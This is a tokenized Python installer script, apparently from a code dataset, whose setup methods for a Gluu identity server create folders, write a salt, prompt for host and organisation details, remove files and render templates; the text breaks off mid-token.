"\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "install", "Sam", "l_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "run_", "(_", "[_", "mkdir_", ",_", "'-", "p", "'_", ",_", "self_", "._", "idp", "Folder_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "run_", "(_", "[_", "mkdir_", ",_", "'-", "p", "'_", ",_", "self_", "._", "idp", "Meta", "data", "Folder_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "run_", "(_", "[_", "mkdir_", ",_", "'-", "p", "'_", ",_", "self_", "._", "idp", "Log", "s", "Folder_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "run_", "(_", "[_", "mkdir_", ",_", "'-", "p", "'_", ",_", "self_", "._", "idp", "Lib", "Folder_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "run_", "(_", "[_", "mkdir_", ",_", "'-", "p", "'_", ",_", "self_", "._", "idp", "Conf", "Folder_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "run_", "(_", "[_", "mkdir_", ",_", "'-", "p", "'_", ",_", "self_", "._", "idp", "Ss", "l", "Folder_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "run_", "(_", "[_", "mkdir_", ",_", "'-", "p", "'_", ",_", "self_", "._", "idp", "Temp", "Meta", "data", "Folder_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "run_", "(_", "[_", "mkdir_", ",_", "'-", "p", "'_", ",_", "self_", "._", "idp", "War", "Folder_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "run_", "(_", "[_", "mkdir_", ",_", "'-", "p", "'_", ",_", "self_", "._", "idp", "SP", "Folder_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "run_", "(_", "[_", "chown", "_", ",_", "'-", "R", "'_", ",_", "'", "tom", "cat", ":", "tom", "cat", "'_", ",_", "self_", "._", "idp", "Folder_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "log", "It_", "(_", "\"", "Error", " ", "mak", "ing", " ", "folder", "s", "\"_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "log", "It_", "(_", "traceback_", "._", "format\\u", "exc_", "(_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Setup_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "make", "\\u", "salt_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "f_", "=_", "open_", "(_", "\"%", "s", "/", "conf", "/", "salt", "\"_", "%_", "self_", "._", "tom", "cat", "Home_", ",_", "'", "w", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "._", "write_", "(_", "'", "encode", "Sal", "t", " ", "=", " ", "%", "s", "'_", "%_", "self_", "._", "encode", "\\u", "salt_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "log", "It_", "(_", "\"", "Error", " ", "writ", "ing", " ", "salt", "\"_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "log", "It_", "(_", "traceback_", "._", "format\\u", "exc_", "(_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "exit_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Setup_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "prompt", "For", "Properties_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "IP", " ", "address", " ", "need", "ed", " ", "only", " ", "for", " ", "Ap", "ache", "2", " ", "and", " ", "host", "s", " ", "file", " ", "update_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "install", "Http", "d_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "ip_", "=_", "self_", "._", "get", "\\u", "ip_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "detect", "ed", "Host", "name_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "detect", "ed", "Host", "name_", "=_", "socket_", "._", "geth", "ost", "by", "addr_", "(_", "socket_", "._", "gethostname_", "(_", ")_", ")_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "detect", "ed", "Host", "name_", "=_", "os_", "._", "popen_", "(_", "\"/", "bin", "/", "host", "name", "\"_", ")_", "._", "read_", "(_", ")_", "._", "strip_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "log", "It_", "(_", "\"", "No", " ", "detect", "ed", " ", "host", "name", "\"_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "log", "It_", "(_", "traceback_", "._", "format\\u", "exc_", "(_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "detect", "ed", "Host", "name_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "hostname_", "=_", "self_", "._", "get", "Prompt_", "(_", "\"", "Enter", " ", "host", "name", "\"_", ",_", "detect", "ed", "Host", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "hostname_", "=_", "self_", "._", "get", "Prompt_", "(_", "\"", "Enter", " ", "host", "name", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Get", " ", "city", " ", "and", " ", "state", "|", "province", " ", "code_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "city_", "=_", "self_", "._", "get", "Prompt_", "(_", "\"", "Enter", " ", "your", " ", "city", " ", "or", " ", "locality", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "state_", "=_", "self_", "._", "get", "Prompt_", "(_", "\"", "Enter", " ", "your", " ", "state", " ", "or", " ", "province", " ", "two", " ", "letter", " ", "code", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Get", " ", "the", " ", "Count", "ry", " ", "Code_", "\\u\\u\\uNL\\u\\u\\u_", "long", "\\u", "eno", "ugh", "_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "not_", "long", "\\u", "eno", "ugh", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "countr", "y", "Code_", "=_", "self_", "._", "get", "Prompt_", "(_", "\"", "Enter", " ", "two", " ", "letter", " ", "Count", "ry", " ", "Code", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "len_", "(_", "countr", "y", "Code_", ")_", "!=_", "2_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"", "Count", "ry", " ", "code", " ", "must", " ", "be", " ", "two", " ", "character", "s", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "countr", "y", "Code_", "=_", "countr", "y", "Code_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "long", "\\u", "eno", "ugh", "_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "org", "Name_", "=_", "self_", "._", "get", "Prompt_", "(_", "\"", "Enter", " ", "Organiz", "ation", " ", "Name", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "admin", "\\u", "email_", "=_", "self_", "._", "get", "Prompt_", "(_", "'", "Enter", " ", "email", " ", "address", " ", "for", " ", "support", " ", "at", " ", "your", " ", "organization", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "tom", "cat", "\\u", "max", "\\u", "ram_", "=_", "self_", "._", "get", "Prompt_", "(_", "\"", "Enter", " ", "maxim", "um", " ", "RAM", " ", "for", " ", "tom", "cat", " ", "in", " ", "MB", "\"_", ",_", "'", "153", "6", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "random", "PW", "_", "=_", "self_", "._", "get", "PW", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "ldap", "Pass_", "=_", "self_", "._", "get", "Prompt_", "(_", "\"", "Optio", "nal", ":", " ", "enter", " ", "password", " ", "for", " ", "ox", "Trust", " ", "and", " ", "LDA", "P", " ", "super", "user", "\"_", ",_", "random", "PW", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "prompt", "For", "Ox", "Auth_", "=_", "self_", "._", "get", "Prompt_", "(_", "\"", "Install", " ", "ox", "Auth", " ", "OA", "uth", "2", " ", "Authoriz", "ation", " ", "Server", "?\"_", ",_", "\"", "Ye", "s", "\"_", ")_", "[_", "0_", "]_", "._", "lower_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "prompt", "For", "Ox", "Auth_", "==_", "'", "y", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "install", "Ox", "Auth_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "install", "Ox", "Auth_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "prompt", "For", "Ox", "Trust", "_", "=_", "self_", "._", "get", "Prompt_", "(_", "\"", "Install", " ", "ox", "Trust", " ", "Admi", "n", " ", "UI", "?\"_", ",_", "\"", "Ye", "s", "\"_", ")_", "[_", "0_", "]_", "._", "lower_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "prompt", "For", "Ox", "Trust", "_", "==_", "'", "y", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "install", "Ox", "Trust", "_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "install", "Ox", "Trust", "_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "prompt", "For", "LDA", "P_", "=_", "self_", "._", "get", "Prompt_", "(_", "\"", "Install", " ", "Glu", "u", " ", "Open", "DJ", " ", "LDA", "P", " ", "Server", "?\"_", ",_", "\"", "Ye", "s", "\"_", ")_", "[_", "0_", "]_", "._", "lower_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "prompt", "For", "LDA", "P_", "==_", "'", "y", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "install", "Lda", "p_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "install", "Lda", "p_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "prompt", "For", "HTTP", "D_", "=_", "self_", "._", "get", "Prompt_", "(_", "\"", "Install", " ", "Ap", "ache", " ", "HTTP", "D", " ", "Server", "\"_", ",_", "\"", "Ye", "s", "\"_", ")_", "[_", "0_", "]_", "._", "lower_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "prompt", "For", "HTTP", "D_", "==_", "'", "y", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "install", "Http", "d_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "install", "Http", "d_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "prompt", "For", "Shi", "b", "ID", "P_", "=_", "self_", "._", "get", "Prompt_", "(_", "\"", "Install", " ", "Shi", "bb", "ole", "th", " ", "2", " ", "SAM", "L", " ", "ID", "P", "?\"_", ",_", "\"", "No", "\"_", ")_", "[_", "0_", "]_", "._", "lower_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "prompt", "For", "Shi", "b", "ID", "P_", "==_", "'", "y", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "install", "Sam", "l_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "install", "Sam", "l_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "prompt", "For", "Asi", "mba", "_", "=_", "self_", "._", "get", "Prompt_", "(_", "\"", "Install", " ", "Asi", "mba", " ", "SAM", "L", " ", "Pro", "xy", "?\"_", ",_", "\"", "No", "\"_", ")_", "[_", "0_", "]_", "._", "lower_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "prompt", "For", "Asi", "mba", "_", "==_", "'", "y", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "install", "Asi", "mba", "_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "install", "Asi", "mba", "_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "prompt", "For", "CAS", "_", "=_", "self_", "._", "get", "Prompt_", "(_", "\"", "Install", " ", "CAS", "?\"_", ",_", "\"", "No", "\"_", ")_", "[_", "0_", "]_", "._", "lower_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "prompt", "For", "CAS", "_", "==_", "'", "y", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "install", "Cas", "_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "install", "Cas", "_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "prompt", "For", "Ox", "Auth", "RP", "_", "=_", "self_", "._", "get", "Prompt_", "(_", "\"", "Install", " ", "ox", "Auth", " ", "RP", "?\"_", ",_", "\"", "No", "\"_", ")_", "[_", "0_", "]_", "._", "lower_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "prompt", "For", "Ox", "Auth", "RP", "_", "==_", "'", "y", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "install", "Ox", "Auth", "RP", "_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "install", "Ox", "Auth", "RP", "_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Setup_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "remove", "Dirs_", "(_", "self_", ",_", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "os_", "._", "path_", "._", "exists_", "(_", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "shutil_", "._", "rmtree_", "(_", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "log", "It_", "(_", "'", "Remove", "d", " ", "dir", ":", " ", "%", "s", "'_", "%_", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "log", "It_", "(_", "\"", "Error", " ", "remo", "ving", " ", "director", "y", " ", "%", "s", "\"_", "%_", "name_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "log", "It_", "(_", "traceback_", "._", "format\\u", "exc_", "(_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Setup_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "remove", "File_", "(_", "self_", ",_", "file", "Name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "os_", "._", "path_", "._", "exists_", "(_", "file", "Name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "os_", "._", "remove_", "(_", "file", "Name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "log", "It_", "(_", "'", "Remove", "d", " ", "file", ":", " ", "%", "s", "'_", "%_", "file", "Name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "log", "It_", "(_", "\"", "Error", " ", "remo", "ving", " ", "file", " ", "%", "s", "\"_", "%_", "file", "Name_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "log", "It_", "(_", "traceback_", "._", "format\\u", "exc_", "(_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Setup_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "render", "\\u", "templates_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "log", "It_", "(_", "\"", "Rendering", " ", "template", "s", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "full", "Path_", "in_", "self_", "._", "ce", "\\u", "templates_", "._", "keys_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "render", "Template_", "(_", "full", "Path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "log", "It_", "(_", "\"", "Error", " ", "writ", "ing", " ", "template", " ", "%", "s", "\"_", "%_", "full", "Path_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "log", "It_", "(_", "traceback_", "._", "format\\u", "exc_", "(_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Setup_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "render", "\\u", "configura", "tion", "\\u", "template_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "log", "It_", "(_", "\"", "Rendering", " ", "configura", "tion", " ", "template", "s", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "full", "Path_", "=_", "self_", "._", "ldif", "\\u", "configuration_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "render", "Template_", "(_", "full", "Path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "log", "It_", "(_", "\"", "Error", " ", "writ", "ing", " ", "template", " ", "%", "s", "\"_", "%_", "full", "Path_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "log", "It_", "(_", "traceback_", "._", "format\\u", "exc_", "(_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Setup_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "render", "\\u", "test\\u", "templates_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "log", "It_", "(_", "\"", "Rendering", " ", "test", " ", "template", "s", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "test", "Te", "pm", "plates", "Folder_", "=_", "'%", "s", "/", "test", "/'_", "%_", "self_", "._", "template", "Folder_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "template", "Base_", ",_", "template", "Director", "ies_", ",_", "template", "Files_", "in_", "os_", "._", "walk_", "(_", "test", "Te", "pm", "plates", "Folder_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "template", "File_", "in_", "template", "Files_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "full", "Path_", "=_", "'%", "s", "/", "%", "s", "'_", "%_", "(_", "template", "Base_", ",_", "template", "File_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "self_", "._", "log", "It_", "(_", "\"", "Rendering", " ", "test", " ", "template", " ", "%", "s", "\"_", "%_", "full", "Path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fn_", "=_", "full", "Path_", "[_", "12_", ":_", "]_", "#", " ", "Remove", " ", "./", "template", "/", " ", "from", " ", "full", "Path_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "=_", "open_", "(_", "os_", "._", "path_", "._", "join_", "(_", "self_", "._", "template", "Folder_", ",_", "fn_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "template", "\\u", "text_", "=_", "f_", "._", "read_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "full", "Output", "File_", "=_", "os_", "._", "path_", "._", "join_", "(_", "self_", "._", "output", "Folder_", ",_", "fn_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Creat", "e", " ", "full", " ", "path", " ", "to", " ", "the", " ", "output", " ", "file_", "\\u\\u\\uNL\\u\\u\\u_", "full", "Output", "Dir_", "=_", "os_", "._", "path_", "._", "dirname_", "(_", "full", "Output", "File_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "os_", "._", "path_", "._", "exists_", "(_", "full", "Output", "Dir_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "os_", "._", "makedirs_", "(_", "full", "Output", "Dir_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "new", "Fn_", "=_", "open_", "(_", "full", "Output", "File_", ",_", "'", "w", "+'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "new", 